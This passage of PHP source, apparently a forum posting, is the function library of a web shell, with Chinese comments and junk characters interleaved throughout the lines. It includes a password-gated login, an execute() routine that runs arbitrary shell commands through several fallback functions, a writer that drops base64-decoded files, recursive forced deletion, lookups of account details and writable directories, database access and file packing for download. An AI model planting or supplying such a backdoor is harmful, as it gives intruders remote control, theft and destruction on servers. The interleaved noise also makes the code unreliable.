  1322. </html>: e2 W: T6 F. E3 q  U# i
  1323.   ^+ p2 O5 U( c! n5 v. J
  1324. <?php
    , J; J/ R3 F2 l! V$ ~" t
  1325. " |8 C( t/ u8 ~
  1326. /*======================================================
    . P0 k6 x5 U8 t/ e% x
  1327. 函数库
    1 C0 M3 ?" Q. K% z
  1328. ======================================================*/
    ! c, F' d( R9 I

  1329. ! [1 U3 X) {' W5 D
  1330. function m($msg) {: R4 G. o1 V. d) [: N& Q: B- d
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    ( o' F: k8 l+ a0 p( b( v: m
  1332.         echo $msg;4 j% z( ?4 c9 K8 ^/ `( M/ c
  1333.         echo '</div>';0 J9 v4 F! B6 [; c
  1334. }
    , {; I! V2 {$ o8 h5 o! `1 r
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {3 E1 _! U8 ?: F. }. X
  1336.         global $admin, $timestamp, $_SERVER;
    6 b2 k5 G5 k+ h& P, o! D
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;7 {1 \1 @" p5 t% |
  1338.         $life = $life ? $life : $admin['cookielife'];0 g$ h2 G8 p7 f! D7 U  l! Y
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    : E2 j. v3 D- l* U, @
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    * x1 z' j' l* t: j8 A) [
  1341. }        ) ]! ?9 P0 ^) C) c7 J/ V! b7 \- e7 z
  1342. function multi($num, $perpage, $curpage, $tablename) {
    ' i  S7 ~% `" D9 l1 N
  1343.         $multipage = '';% i4 w  l6 Z* A/ b8 d: I; s  Y' i% o
  1344.         if($num > $perpage) {; L$ j) H! e+ {; m3 s4 C
  1345.                 $page = 10;7 p; f& P+ M6 m4 g0 Z. j6 [/ f
  1346.                 $offset = 5;7 u7 R9 f  ]5 d) E
  1347.                 $pages = @ceil($num / $perpage);
    4 \' r. G( N, ^3 d# {
  1348.                 if($page > $pages) {" r2 t9 C% ^4 j
  1349.                         $from = 1;, n2 d: d5 P# z: |
  1350.                         $to = $pages;
    - M3 g' f0 o% m) D4 i" Q
  1351.                 } else {
    7 H1 Z- `0 r' m) X- w
  1352.                         $from = $curpage - $offset;
    0 a! V0 Q* a# S' o, s5 ~" d' v
  1353.                         $to = $curpage + $page - $offset - 1;
    " s# ]& t1 B/ A+ _2 d
  1354.                         if($from < 1) {
    - W+ R: s: e1 R! j4 S
  1355.                                 $to = $curpage + 1 - $from;8 l5 P( A9 O. S6 n. B0 f: `: M
  1356.                                 $from = 1;
    : I" V9 \, a' G* z) A; x
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    - j' n7 B* d1 C8 H3 G! G, U
  1358.                                         $to = $page;- S9 p0 n4 x$ L" C5 ~+ y
  1359.                                 }
    * I2 a" }  B! X# @; x) c, `9 m
  1360.                         } elseif($to > $pages) {, {$ J$ v# Z9 L
  1361.                                 $from = $curpage - $pages + $to;+ Q* o8 _; s4 R3 J$ R9 ]
  1362.                                 $to = $pages;
    : L, j; V( r' n8 t  A
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {& e7 ]7 b. i' X; [& N
  1364.                                         $from = $pages - $page + 1;1 x( G1 v2 @5 V! l  w( c
  1365.                                 }4 D8 A; \6 u+ o5 A6 O
  1366.                         }$ g8 K/ }% G" n: `% S
  1367.                 }
    : l% G3 t% d& |! W5 e7 O
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');1 G( i& \! o9 Z# x# E
  1369.                 for($i = $from; $i <= $to; $i++) {
    : e6 \5 `, c4 |+ S1 G
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';  R/ S0 G% O, y& G2 U, k/ n. h
  1371.                 }
    , b( K: c/ K0 @+ E2 ?6 C- z
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
    4 j* S2 h4 @6 W/ q5 G! t
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    5 j7 l9 c% e; n' ?8 k/ _+ l
  1374.         }
    ( D9 z$ B+ ^% F9 E% f6 o
  1375.         return $multipage;
    7 J3 m- h2 Q/ ^( s9 M6 w6 I
  1376. }5 ~# c# A+ K; G, y1 Q* `
  1377. // 登陆入口
    ( B+ X/ O7 n2 ~- I. \
  1378. function loginpage() {9 u8 C; n( x9 H# L  k5 B
  1379. ?>
    ) a; W8 a0 N: f" \: Y6 Q7 x: Y0 ]( A
  1380.         <style type="text/css">
    4 M$ Y) v1 X  k- |6 I! S* _0 Z
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
    5 v& ]+ ^6 I7 f! ?$ e
  1382.         </style>- F7 {; ]( \; A. M# x9 B4 J: L) P
  1383.         <form method="POST" action="">7 n* _" |/ L; d8 _
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">8 G) C/ a+ ^' x) b% `: I1 L  m
  1385.         <input type="hidden" name="doing" value="login">6 ~4 D# U( ]* E! D# u. {  @( i1 H0 g
  1386.         <input type="submit" value="Login">% ~* n. _; f" j5 X3 |
  1387.         </form>1 K1 [' D- U' L
  1388. <?php
    + E' S3 z2 u* v' T2 F
  1389.         exit;
    - Q) s& _6 A6 y/ R5 n" S
  1390. }//end loginpage()
    , |$ n+ h" w2 p! a, N  J, J0 g3 ?

  1391. ' w, t) t- k7 W( }6 _/ t1 `1 i
  1392. function execute($cfe) {: f+ x# n3 x- t5 i1 [% h
  1393.         $res = '';
    0 ~8 g  ?/ }  M# ~
  1394.         if ($cfe) {
    7 S  {: A3 X9 m+ Q4 i/ K) C
  1395.                 if(function_exists('exec')) {
    : R5 ^8 c0 \; l( }4 ]. Z
  1396.                         @exec($cfe,$res);! ?% s6 e3 ~7 b' g/ g! n  a: N
  1397.                         $res = join("\n",$res);
    2 \* A' _: Z0 R' l5 {
  1398.                 } elseif(function_exists('shell_exec')) {2 \0 v4 l3 ^# X  F4 @$ G# @
  1399.                         $res = @shell_exec($cfe);" G5 X  |+ s) z. l. n+ b6 C
  1400.                 } elseif(function_exists('system')) {& g  O! k2 f- P. @
  1401.                         @ob_start();
    9 q7 [. W$ `# _2 O2 _. a
  1402.                         @system($cfe);
    + G7 N5 m" ~5 L
  1403.                         $res = @ob_get_contents();; N0 n/ ^5 X! p" D; B
  1404.                         @ob_end_clean();8 d' E2 @2 X1 E) s" b) F5 e; F
  1405.                 } elseif(function_exists('passthru')) {
    ( }" h7 d6 E/ _4 \$ @2 q( e
  1406.                         @ob_start();( [; A  a6 A' ~% m
  1407.                         @passthru($cfe);8 S( A  y- F3 t
  1408.                         $res = @ob_get_contents();; o  C9 q8 K  P! D
  1409.                         @ob_end_clean();
    6 O4 |! }6 _, |( z2 C
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    6 L9 @' b9 u8 }) ^: L% q% q
  1411.                         $res = '';$ W  W# s9 o) @% R" B+ |: J0 d0 x
  1412.                         while(!@feof($f)) {4 @8 C3 M( j) Z$ F" p) u
  1413.                                 $res .= @fread($f,1024); 2 ?4 ^) A3 [% {7 ?
  1414.                         }& _  F  {6 S! g; U6 d8 K
  1415.                         @pclose($f);8 Q9 ?& D$ j. d# O
  1416.                 }
    # L5 X$ e1 E% |( h% p8 C
  1417.         }
    1 _" p2 ]& G* x5 p6 ], ^4 t
  1418.         return $res;
    / U4 \8 m, L2 c. m! z0 K
  1419. }
    2 |9 t, Z8 u0 _6 s* |8 W7 x7 U
  1420. function which($pr) {2 E0 ?4 c: u  p9 O- i& f; j6 y
  1421.         $path = execute("which $pr");
    / b. S% V9 k( d, H0 Y( m
  1422.         return ($path ? $path : $pr);
    ( @! c4 Q2 ^$ |9 P: X% u
  1423. }
    5 H7 w5 ^/ N, m9 m

  1424. 2 b/ ?. ^' s; O' d3 L$ w
  1425. function cf($fname,$text){8 O- N6 _/ d' R; [6 m! a
  1426.         if($fp=@fopen($fname,'w')) {& J. p2 H$ V2 ?# f0 R' V. o; T, c
  1427.                 @fputs($fp,@base64_decode($text));
    7 c7 y9 r5 f* ^' E3 C4 }0 P/ s
  1428.                 @fclose($fp);) j* s# G8 k. N+ l4 Y% ]% x
  1429.         }+ ~* ?- q* u9 C  H
  1430. }5 ~1 b- Y3 r% a

  1431. 1 ~& t8 w6 C1 l& o' N% k& Q
  1432. // 页面调试信息
    - ~; Y  F: T' Y
  1433. function debuginfo() {/ W: P  x! `* ]7 `* k- X
  1434.         global $starttime;
    9 W6 _2 K% y: g" }4 J" H
  1435.         $mtime = explode(' ', microtime());5 Z" g- B; ]8 u& _& R4 ^
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    + d" e) z3 v! J$ x; a3 k% a
  1437.         echo 'Processed in '.$totaltime.' second(s)';
    3 O" q* c' y: _% u) p, I7 N5 b
  1438. }8 D8 Z% s  ~0 R# s3 M9 M

  1439. 8 c: J! Z$ P  p' p( v3 n$ P, B" K- I
  1440. //连接数据库! A( ^. c+ q3 N# ?. D
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    " K7 z: j) ^0 {1 P  B& S
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    ' W: w$ p, h  n$ r- |& V$ S! Q6 x
  1443.                 p('<h2>Can not connect to MySQL server</h2>');9 e8 T+ |+ d! F
  1444.                 exit;2 E. y# F3 u! o1 C+ j& o1 y# k
  1445.         }
    - r# Y( `  i8 Y" l! \; G+ i
  1446.         if($link && $dbname) {
    4 S" h0 H$ r( U% }# ], b  V; g+ x
  1447.                 if (!@mysql_select_db($dbname, $link)) {2 d* \( Y3 C. z  R/ t0 Q
  1448.                         p('<h2>Database selected has error</h2>');
    " D! F4 z2 y& o+ z+ Q
  1449.                         exit;+ V7 \. c7 H: R) }7 a6 o( O& k8 Z, `
  1450.                 }
    ) [: J! \" @0 {; c- G
  1451.         }
    * E& ]" ~: ]. h. j
  1452.         if($link && mysql_get_server_info() > '4.1') {; G) c" z7 l! \" T
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    . @: @" [# q  h! u
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    4 Q+ G; K$ x5 k1 z
  1455.                 }
    . z" H8 j7 ?( x. X8 U
  1456.         }, T7 r6 [: o; u/ ?
  1457.         return $link;
    . \: v! a  V) }
  1458. }/ F) t; W( \/ Z/ B- y) F

  1459. 9 R2 H8 T; a7 ^* |$ W
  1460. // 去掉转义字符
    0 N+ v& P! @' T* @4 q9 I
  1461. function s_array(&$array) {
    . Q$ U9 D6 y, {; P$ R
  1462.         if (is_array($array)) {" G7 z& v0 X, R* P1 n. [. _
  1463.                 foreach ($array as $k => $v) {
    * _2 Y7 k0 x2 _. c2 \
  1464.                         $array[$k] = s_array($v);$ v  ~# F4 d9 w! C( x3 R
  1465.                 }! e9 a- X: P" X: X4 Q# w
  1466.         } else if (is_string($array)) {: n) E0 E! G7 _: a
  1467.                 $array = stripslashes($array);8 @' U/ K6 h; H
  1468.         }
    2 L4 o. v% |) `) d1 W; A
  1469.         return $array;
    % l1 w, g: i8 F$ s4 h
  1470. }1 {3 Z7 @! p' D3 T
  1471. 0 Z$ \4 N2 S: b# D
  1472. // 清除HTML代码
    + h8 N$ q# I' ^$ y
  1473. function html_clean($content) {
    6 M) D6 Q$ e  D1 ~! G
  1474.         $content = htmlspecialchars($content);) c! o' n' C+ x' [: A  w% j4 _
  1475.         $content = str_replace("\n", "<br />", $content);
    2 i) \: W7 o, m# w
  1476.         $content = str_replace("  ", "  ", $content);
    0 f# i0 y' l" W: P- g8 s* Y* J
  1477.         $content = str_replace("\t", "    ", $content);: Z! A5 ?% n7 D. W
  1478.         return $content;' m4 m' S9 J2 x3 ~) o) O7 D
  1479. }
    ( m0 m  |9 q: k9 R

  1480. - j1 H0 b7 a- r2 p# s3 w* |- Q
  1481. // 获取权限$ n' k. Q- B+ z  q! o0 J* k! v) R
  1482. function getChmod($filepath){8 m. a: T' r4 a6 S
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    7 @6 G% T2 ?1 O" v- K, V
  1484. }
    , o% X0 r3 M7 s- S( `" y
  1485. 8 v) P; r1 Q2 W( A. u2 ]0 Z
  1486. function getPerms($filepath) {
    , H7 b4 r, v4 c5 k, r  ?. u
  1487.         $mode = @fileperms($filepath);* h. }- S# F! Y, J, E/ z) `9 ]# j) |
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    # w: z4 L# n9 w  `
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    - C5 v0 p- ^& E: c" p
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    ' y, R3 P1 z$ o( }8 R
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    7 d/ n) M% C# |
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    % h0 D2 K8 ^: g% X
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    + e: }6 u: V3 H) h" N; g- {
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}/ p  H7 _* X, V3 {. q' P, \( r
  1495.         else {$type = '?';}
    . b# H$ X2 m% J. l( P' [* }6 k3 S

  1496. 5 ]+ @% |: z4 b! X3 j
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    6 U. T, L, h% H6 U( g; d8 P5 S
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    ! ~' x7 d* N% }8 G- T7 x% V
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    , b" m/ Y1 F7 z2 _! L0 V$ `
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-'; 5 e% g5 j8 `* [8 d8 D1 W
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    $ [  M' b# M7 p7 K7 R1 G
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-'; * L$ H( W' Z# S, [" Z
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; 6 _( c3 g9 u) Y1 a) A" r; \
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    ! p& [1 s6 q5 Z
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; 1 k5 J6 B; a9 [

  1506. 8 H' t, n4 a8 S$ Y. E
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      E  v  f# E. _
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    5 F3 s5 I4 B; ]+ j+ }" l
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    ' U% {: Z' }) e( I9 ^$ o( i& K

  1510. 2 q. H9 H  G$ W& |& K9 h: X% j
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    , Z/ H* @( a7 E2 q1 [" ?8 c6 [
  1512. }8 N8 m' {. B$ Q( W
  1513. : L9 F+ n$ a1 X3 [3 P: B2 J
  1514. function getUser($filepath)        {0 q6 C6 S. d1 H& {
  1515.         if (function_exists('posix_getpwuid')) {8 e1 D$ C; Q4 g) ~- f7 x, y$ `: m
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    & N' k" E& m" }2 x! D
  1517.                 if ($array && is_array($array)) {
    + ~( `4 J. J3 ]' O/ H/ |
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    - B( t9 `' Z' j$ J9 |8 [
  1519. Passwd: '.$array['passwd'].'
    1 |0 s. p4 @; j3 f
  1520. Uid: '.$array['uid'].'
    $ E( ~& y* f) P& X# `' _
  1521. gid: '.$array['gid'].'9 h: E- y5 w; |: n% ]5 h
  1522. Gecos: '.$array['gecos'].'
    0 D2 p# U4 j7 Q8 z) D! r
  1523. Dir: '.$array['dir'].'% k$ \* ?9 Z5 E) b7 ?% e# U
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    - U( j& x# y* Z! m0 Y  I
  1525.                 }
    / w& L8 E% s5 f9 e  u5 l
  1526.         }
    6 g" x  L4 _; {' h
  1527.         return '';2 N5 F' q8 r9 q! d& G* x
  1528. }2 v9 ^' p6 a) r) Q0 x

  1529. 1 S" w9 j' h" r  m5 m. h1 C( r
  1530. // 删除目录
    4 F# {5 R! Q$ `, ]8 }" R0 j% y/ q+ X
  1531. function deltree($deldir) {1 l4 m2 a1 G! M  P/ w
  1532.         $mydir=@dir($deldir);       
    ! ~4 ~$ _3 r1 G  l2 ?6 s/ F. K
  1533.         while($file=$mydir->read())        {                 0 P# ?( ]4 t" \; _
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 4 ~2 W, h$ ]7 Y) }! y7 I; P+ J/ J, B
  1535.                         @chmod($deldir.'/'.$file,0777);$ _0 q# b  T2 ^( L/ g9 `1 X
  1536.                         deltree($deldir.'/'.$file); 3 n0 O1 j9 ?* b4 H2 S2 A
  1537.                 }2 v& ]! W+ P3 L- a& q7 b6 }
  1538.                 if (is_file($deldir.'/'.$file)) {: e, u  d- N, T5 e  C
  1539.                         @chmod($deldir.'/'.$file,0777);
    % {9 s+ Q' C1 N+ k
  1540.                         @unlink($deldir.'/'.$file);# \" o0 Q3 P1 ^  t' N* K- d
  1541.                 }
    & L3 Z+ E: d9 A& E+ ^
  1542.         }
    / A3 G" @% _- t, k$ U0 h. w# Z
  1543.         $mydir->close();
    $ Z9 K8 i% X$ V
  1544.         @chmod($deldir,0777);0 z- [) d( D  c$ r" o
  1545.         return @rmdir($deldir) ? 1 : 0;
    4 e' x4 ^" C) A# X, r  l. {
  1546. }
    + {/ ^. c- L' B) C0 g
  1547. 8 |% _2 b0 I/ X6 ]' M
  1548. // 表格行间的背景色替换  I2 U: M" P) V8 h8 f+ @) _& g( R
  1549. function bg() {
    # [8 F6 \9 @- C, \  ]3 L" u4 t
  1550.         global $bgc;
    : e$ ]* L  L. t( G" {: t2 p$ K
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';( J: \$ Z, a5 U* `. g8 \: e
  1552. }1 V& H& a! Z: v1 |. E% H

  1553. 0 h1 \9 r6 c5 s
  1554. // 获取当前的文件系统路径
    / F3 Q5 D. C% x5 Z
  1555. function getPath($scriptpath, $nowpath) {% I8 A; u) ]. p5 r6 F% P) N
  1556.         if ($nowpath == '.') {+ C: l& C9 ?6 J- P) o
  1557.                 $nowpath = $scriptpath;
    : y. i! H; K9 a) Q: w
  1558.         }
    0 z: m1 l& b7 E) A, \
  1559.         $nowpath = str_replace('\\', '/', $nowpath);
    8 Y: S, K5 K5 D$ p
  1560.         $nowpath = str_replace('//', '/', $nowpath);- N: ?" U, K* P
  1561.         if (substr($nowpath, -1) != '/') {
    0 y" o; ]2 M  |  k, M& d
  1562.                 $nowpath = $nowpath.'/';
    " P" e( n; _' ^& k0 }5 a" N$ \2 a! [7 x
  1563.         }( n) {" J2 V  D! N$ B* e( t
  1564.         return $nowpath;- x5 w: Z* M$ F9 w  h
  1565. }7 K( I& `1 f8 |8 Q

  1566. 6 w. w2 p& w- e- `" ]
  1567. // 获取当前目录的上级目录
    , _3 b1 E. F& L- N/ C. T" @$ x
  1568. function getUpPath($nowpath) {! D. T3 _8 @: K4 [& m
  1569.         $pathdb = explode('/', $nowpath);4 N6 h9 i. R% }
  1570.         $num = count($pathdb);
      U$ j1 B7 y$ K& C1 j- @5 {
  1571.         if ($num > 2) {( g9 ?8 L, l" D/ i
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);- A# i, a, R, m* g( z" l
  1573.         }. x; _, x1 t4 B. l' M& k
  1574.         $uppath = implode('/', $pathdb).'/';
    " q$ E7 o" q) _/ a- }# V
  1575.         $uppath = str_replace('//', '/', $uppath);% ~$ N& g; s. L
  1576.         return $uppath;" A% S; B, H7 D+ n, c
  1577. }) @/ t! v, c  Z2 G, _
  1578. 5 G! S9 Q) S, O" h7 Y1 B
  1579. // 检查PHP配置参数6 g8 Q7 _( X4 A4 S- E
  1580. function getcfg($varname) {! Q" P" m5 k  e  i) J7 [# ]# q
  1581.         $result = get_cfg_var($varname);
    # `! C& L( q5 N. |9 e
  1582.         if ($result == 0) {8 \& u# h2 P) a( H7 |1 B# Q
  1583.                 return 'No';
    , a1 I( |+ l5 P) }, b2 i. A
  1584.         } elseif ($result == 1) {& }. |8 C/ i% P
  1585.                 return 'Yes';
    7 ^0 q0 b" B* Q9 u" x
  1586.         } else {
    ; v5 K; x; n6 [2 ^
  1587.                 return $result;
    2 T, ~, Q& t9 g& t) j
  1588.         }7 o% a* y1 D& A6 ~0 T
  1589. }; r  S4 Z9 H  ^1 F2 r9 g
  1590. ! L7 N. D5 ~9 t; s0 H
  1591. // 检查函数情况* V, q. p2 ~2 Y
  1592. function getfun($funName) {" j" |! U- _8 ^- z; _
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';7 ]) [6 _: I* k' u
  1594. }
    , i7 f& [* {, X# U8 ]- |/ Q

  1595. ( t+ i5 S# B' [: b1 N0 k! d
  1596. function GetList($dir){& |' B8 x! Y# G% m
  1597.         global $dirdata,$j,$nowpath;7 ~% d  e4 M1 E1 u9 l
  1598.         !$j && $j=1;9 S- n6 M/ w( C0 M4 S- I$ H
  1599.         if ($dh = opendir($dir)) {
    ) Q! j2 u5 R! N, l
  1600.                 while ($file = readdir($dh)) {7 J" v8 F) m4 d7 d+ @- V1 f! ]. M
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);# F3 \  B3 H& x" p) l
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){
    : d3 ?3 ]" }* A8 e$ v
  1603.                                 if (is_writable($f)) {" N! y  N, ~: @" B- w/ {
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    . \. ~- t& e9 K$ f3 o% e8 |
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$ G7 m& D8 U* m9 G# T9 o$ h
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      s6 {# {/ `- g/ F6 ]" N
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);" H( B. S' ?7 b
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);9 N. o& _. h' s/ Q, L
  1609.                                         $dirdata[$j]['server_link']=$f;/ j7 e! q" I7 H
  1610.                                         $dirdata[$j]['client_link']=ue($f);) o& s0 m) K* f
  1611.                                         $j++;
    2 k$ `6 H- W% d# ]: t
  1612.                                 }
    4 c+ `2 W5 C4 i  P$ \, D; S
  1613.                                 GetList($f);1 |  ]4 [- S  n% a
  1614.                         }2 ]$ M9 V1 k$ C3 i: G* e
  1615.                 }# A, @! C, t' |! P) _0 Y
  1616.                 closedir($dh);
    5 w8 G; Q" a/ t5 Z( v2 p
  1617.                 clearstatcache();& Q& Y# ^, |3 x# O. G5 k" e$ g$ O
  1618.                 return $dirdata;
    8 b( q, `/ j2 Q4 N$ a) b
  1619.         } else {7 G% k9 I* Y) c! P; T; m: x" d# ?
  1620.                 return array();
    # q6 u1 a5 e; A2 E! F; y, @
  1621.         }6 Z2 b+ g5 Q* ?) \4 B6 C; r, Q
  1622. }
    & X) Y- }; @7 q' a

  1623. $ c* v% L7 k) v9 x, M
  1624. function qy($sql) { % }$ v" j# O- [0 [: Z& p: i
  1625.         //echo $sql.'<br>';1 l" t  s3 Z# u; T+ R
  1626.         $res = $error = '';8 k* g2 F' C, J, g- ]1 z; _( I
  1627.         if(!$res = @mysql_query($sql)) { 7 z- ?0 C3 _% N# G0 B
  1628.                 return 0;7 z  L- ]1 X: |, `' V, C
  1629.         } else if(is_resource($res)) {  ^, _. ]6 h; v6 {6 [  {
  1630.                 return 1; 9 T: r  U! o" H+ Z) ^0 B- Q9 u
  1631.         } else {9 z% p3 W6 @7 f/ g9 d7 S
  1632.                 return 2;
    & z) P  U# e7 D  F* F4 k5 z
  1633.         }       
    % K- l; `( C5 k: a
  1634.         return 0;6 r/ t* f+ {( P9 N" T% ]
  1635. }) c" i% M0 j! M* }5 c. E
  1636. 7 @. ^7 v6 X6 G
  1637. function q($sql) {
    2 ~" @& \4 p3 B4 |. `
  1638.         return @mysql_query($sql);' X+ {- N2 J* g6 z# [8 R% C
  1639. }0 ^* B9 F; v, B3 v) m

  1640. 9 m3 T) g4 p) S; U- X2 `' |
  1641. function fr($qy){
    8 {# ~, S! X2 R  c$ R% [
  1642.         mysql_free_result($qy);" W# \$ b0 W3 G- F. M
  1643. }
    1 c% u2 }9 {. o: e1 }& T" ]

  1644. ( U8 N$ P2 H. n1 G! T4 M' o0 _5 {
  1645. function sizecount($size) {
    7 R- R  g5 C& n( f3 W& q
  1646.         if($size > 1073741824) {
    : F5 A1 ^+ W/ M8 A
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    0 L( W4 j2 Q- @5 H9 n
  1648.         } elseif($size > 1048576) {5 P. x6 ~: y$ G% S0 D- M$ j
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';, k( G, ^6 b4 }3 f& p) I
  1650.         } elseif($size > 1024) {
    % `7 @) S+ K5 q. M& r5 p
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    ! a& k: K8 _2 o( y/ O4 N3 g
  1652.         } else {
      Z. V+ M% {5 Y! z" ?' y' f1 J1 l
  1653.                 $size = $size . ' B';2 M  h: s- j  ?7 h9 P
  1654.         }  s& ^, Q' ]0 k% Q
  1655.         return $size;/ r, _$ |% |7 @
  1656. }
    + L# A' j( g9 ]4 k

  1657. 4 S( v+ W3 C5 E$ j! U# c- ?! p
  1658. // 压缩打包类: q4 l- S' ~! k2 U; Y' Q
  1659. class PHPZip{2 s; d8 J8 I7 j- ]* H3 M$ b0 S
  1660.         var $out='';/ y  I+ n) T1 I1 C" L" `$ Z
  1661.         function PHPZip($dir)        {- J2 ?( u' w7 ~$ K  D2 ^
  1662.                 if (@function_exists('gzcompress'))        {
      P- Q5 v# I& d/ a/ z6 s( N( x
  1663.                         $curdir = getcwd();' b- Y, a0 J: ?0 l0 j4 t! ^; V5 P( E
  1664.                         if (is_array($dir)) $filelist = $dir;3 r. W2 U- ?+ D: [7 h; M
  1665.                         else{, e1 l& Q% q' B* t  a4 Y7 l
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
    3 X  x% `) b; f7 E
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);4 h/ v7 T0 O- C; ~
  1668.                         }! t8 d4 P9 W+ B! J5 L
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    & V% N2 {/ w: V2 U' _% z6 p/ ~
  1670.                         else chdir($curdir);, k, H' N( ^: R2 `& ~; S& b
  1671.                         if (count($filelist)>0){
    ' W, N: K: g$ V' u2 k
  1672.                                 foreach($filelist as $filename){
    4 c. L" |5 F& o2 a$ M
  1673.                                         if (is_file($filename)){
    ; G0 X' R' T3 R' Z9 h1 u
  1674.                                                 $fd = fopen ($filename, 'r');7 s7 r  ]" x. W
  1675.                                                 $content = @fread ($fd, filesize($filename));
    2 z7 E, K- V. b  v5 k
  1676.                                                 fclose ($fd);* l  q0 _1 Q; _% _
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    ! P2 {. H8 ~7 R. G: |$ w' y
  1678.                                                 $this -> addFile($content, $filename);" o- v( ?- @% |% `4 Y1 y+ j
  1679.                                         }8 I1 h$ U1 F( M3 E5 u
  1680.                                 }
    , V3 F3 |( L% s6 j
  1681.                                 $this->out = $this -> file();
    ! c* H5 E- U, {6 w
  1682.                                 chdir($curdir);6 H5 B$ c6 V: I; q
  1683.                         }/ l% a0 B7 u6 D1 g& D$ J
  1684.                         return 1;4 B6 g. T& p! f; y5 d8 `) P
  1685.                 }
    , ]1 F- ^+ v3 T2 ^6 M! z* R
  1686.                 else return 0;
    $ a  |6 l& @) b* @$ m
  1687.         }
    + d, D( y# D6 W
  1688. ' g2 v7 p4 G  w+ ]. `) {4 P9 C
  1689.         // 获得指定目录文件列表2 z# q7 u: v  r- [# K( D, K
  1690.         function GetFileList($dir){
    $ B' D7 h4 q! P
  1691.                 static $a;5 Q5 {: f3 a1 `2 v- v0 o: y
  1692.                 if (is_dir($dir)) {: g) A) }% B" f8 ?
  1693.                         if ($dh = opendir($dir)) {( G7 {$ I  G2 W7 H9 ?: N7 \6 U- L" v
  1694.                                 while ($file = readdir($dh)) {
    ' x+ P2 N6 D+ @) H! n0 @# L% C
  1695.                                         if($file!='.' && $file!='..'){
    $ c' z. J" E' k
  1696.                                                 $f=$dir .'/'. $file;& z9 s" |2 V, x1 L- H- q
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);7 p! b$ V4 W/ r" D2 E
  1698.                                                 $a[]=$f;$ \  [. [3 ?( p  s& \# ]: t- u9 c
  1699.                                         }
    3 e# q+ p; D0 B) r+ T  ]+ ^& a
  1700.                                 }
    3 |  ]% h+ ^- Q- d4 [6 D
